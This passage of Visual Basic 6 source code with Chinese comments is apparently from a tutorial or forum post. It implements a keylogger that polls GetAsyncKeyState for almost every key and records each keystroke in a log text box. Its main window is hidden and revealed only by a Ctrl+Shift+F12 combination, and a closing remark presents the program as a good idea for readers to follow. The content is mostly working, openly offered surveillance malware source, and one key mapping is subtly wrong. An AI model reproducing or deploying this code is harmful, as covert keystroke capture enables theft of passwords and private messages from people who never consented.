If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "3"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "#"
End If
'记录数字4和$号
lngKeyState = GetAsyncKeyState(vbKey4)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "4"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "$"
End If
'记录数字5和%号
lngKeyState = GetAsyncKeyState(vbKey5)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "5"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "%"
End If
'记录数字6和^号
lngKeyState = GetAsyncKeyState(vbKey6)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "6"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "^"
End If
'记录数字7和&号
lngKeyState = GetAsyncKeyState(vbKey7)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "7"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "&"
End If
'记录数字8和*号
lngKeyState = GetAsyncKeyState(vbKey8)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "8"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "*"
End If
'记录数字9和(号
lngKeyState = GetAsyncKeyState(vbKey9)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "9"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "("
End If
'记录数字0和)号
lngKeyState = GetAsyncKeyState(vbKey0)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "0"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + ")"
End If
'记录退格键
lngKeyState = GetAsyncKeyState(vbKeyBack)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{BackSpace}"
End If
'记录Tab键
lngKeyState = GetAsyncKeyState(vbKeyTab)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Tab}"
End If
'记录回车键
lngKeyState = GetAsyncKeyState(vbKeyReturn)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + vbCrLf
End If
'记录Shift键
lngKeyState = GetAsyncKeyState(vbKeyShift)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Shift}"
End If
'记录Ctrl键
lngKeyState = GetAsyncKeyState(vbKeyControl)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Ctrl}"
End If
'记录Alt键
lngKeyState = GetAsyncKeyState(vbKeyMenu)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Alt}"
End If
'记录暂停键
lngKeyState = GetAsyncKeyState(vbKeyPause)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Pause}"
End If
'记录退出键
lngKeyState = GetAsyncKeyState(vbKeyEscape)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Esc}"
End If
'记录空格键
lngKeyState = GetAsyncKeyState(vbKeySpace)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + " "
End If
'记录End键
lngKeyState = GetAsyncKeyState(vbKeyEnd)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{End}"
End If
'记录Home键
lngKeyState = GetAsyncKeyState(vbKeyHome)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Home}"
End If
'记录方向左键
lngKeyState = GetAsyncKeyState(vbKeyLeft)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Left}"
End If
'记录方向右键
lngKeyState = GetAsyncKeyState(vbKeyRight)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Right}"
End If
'记录方向上键
lngKeyState = GetAsyncKeyState(vbKeyUp)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Up}"
End If
'记录方向下键
lngKeyState = GetAsyncKeyState(vbKeyDown)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Down}"
End If
'记录插入键
lngKeyState = GetAsyncKeyState(vbKeyInsert)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Insert}"
End If
'记录删除键
lngKeyState = GetAsyncKeyState(vbKeyDelete)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Delete}"
End If
'记录;号和:号
lngKeyState = GetAsyncKeyState(&HBA)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + ";"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + ":"
End If
'记录=号和+号
lngKeyState = GetAsyncKeyState(&HBB)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "="
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "+"
End If
'记录,号和<号
lngKeyState = GetAsyncKeyState(&HBC)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + ","
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "<"
End If
'记录-号和_号
lngKeyState = GetAsyncKeyState(&HBD)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "-"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "_"
End If
'记录.号和>号
lngKeyState = GetAsyncKeyState(&HBE)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "."
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + ">"
End If
'记录/和?号
lngKeyState = GetAsyncKeyState(&HBF)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "/"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "?"
End If
'记录`号和~号
lngKeyState = GetAsyncKeyState(&HC0)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "`"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "~"
End If
'记录[号和{号
lngKeyState = GetAsyncKeyState(&HDB)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "]["
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{"
End If
'记录\和|
lngKeyState = GetAsyncKeyState(&HDC)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "\"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "|"
End If
'记录]号和}号
lngKeyState = GetAsyncKeyState(&HDD)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "]"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "}"
End If
'记录'号和"号
lngKeyState = GetAsyncKeyState(&HDE)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "'"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + Chr$(34)
End If
'记录*号
lngKeyState = GetAsyncKeyState(vbKeyMultiply)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "*"
End If
'记录/号
lngKeyState = GetAsyncKeyState(vbKeyDivide)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "/"
End If
'记录+号
lngKeyState = GetAsyncKeyState(vbKeyAdd)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "+"
End If
'记录-号
lngKeyState = GetAsyncKeyState(vbKeySubtract)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "-"
End If
'记录Del键
lngKeyState = GetAsyncKeyState(vbKeyDecimal)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{Del}"
End If
'记录F1键
lngKeyState = GetAsyncKeyState(vbKeyF1)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F1}"
End If
'记录F2键
lngKeyState = GetAsyncKeyState(vbKeyF2)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F2}"
End If
'记录F3键
lngKeyState = GetAsyncKeyState(vbKeyF3)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F3}"
End If
'记录F4键
lngKeyState = GetAsyncKeyState(vbKeyF4)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F4}"
End If
'记录F5键
lngKeyState = GetAsyncKeyState(vbKeyF5)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F5}"
End If
'记录F6键
lngKeyState = GetAsyncKeyState(vbKeyF6)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F6}"
End If
'记录F7键
lngKeyState = GetAsyncKeyState(vbKeyF7)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F7}"
End If
'记录F8键
lngKeyState = GetAsyncKeyState(vbKeyF8)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F8}"
End If
'记录F9键
lngKeyState = GetAsyncKeyState(vbKeyF9)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F9}"
End If
'记录F10键
lngKeyState = GetAsyncKeyState(vbKeyF10)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F10}"
End If
'记录F11键
lngKeyState = GetAsyncKeyState(vbKeyF11)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F11}"
End If
'记录F12键
lngKeyState = GetAsyncKeyState(vbKeyF12)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{F12}"
End If
'当按下Ctrl + Shift + F12时出现系统设置画面
If lngShift <> 0 And GetAsyncKeyState(vbKeyControl) And (lngKeyState And &H1) = &H1 Then
frmMain.Visible = True
End If
'记录NumLock键
lngKeyState = GetAsyncKeyState(vbKeyNumlock)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{NumLock}"
End If
'记录ScrollLock键
lngKeyState = GetAsyncKeyState(vbKeyScrollLock)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{ScrollLock}"
End If
'记录PrintScreen键
lngKeyState = GetAsyncKeyState(vbKeyPrint)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{PrintScreen}"
End If
'记录PageUp键
lngKeyState = GetAsyncKeyState(vbKeyPageUp)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{PageUp}"
End If
'记录PageDown键
lngKeyState = GetAsyncKeyState(vbKeyPageDown)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "{PageDown}"
End If
'记录数字键盘的1
lngKeyState = GetAsyncKeyState(vbKeyNumpad1)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "1"
End If
'记录数字键盘的2
lngKeyState = GetAsyncKeyState(vbKeyNumpad2)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "2"
End If
'记录数字键盘的3
lngKeyState = GetAsyncKeyState(vbKeyNumpad3)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "3"
End If
'记录数字键盘的4
lngKeyState = GetAsyncKeyState(vbKeyNumpad4)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "4"
End If
'记录数字键盘的5
lngKeyState = GetAsyncKeyState(vbKeyNumpad5)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "5"
End If
'记录数字键盘的6
lngKeyState = GetAsyncKeyState(vbKeyNumpad6)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "6"
End If
'记录数字键盘的7
lngKeyState = GetAsyncKeyState(vbKeyNumpad7)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "7"
End If
'记录数字键盘的8
lngKeyState = GetAsyncKeyState(vbKeyNumpad8)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "8"
End If
'记录数字键盘的9
lngKeyState = GetAsyncKeyState(vbKeyNumpad9)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "9"
End If
'记录数字键盘的0
lngKeyState = GetAsyncKeyState(vbKeyNumpad0)
If (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "0"
End If
End Sub
这个程序没有多少难度,就是一个好的创意。希望大家也能有一些好的创意。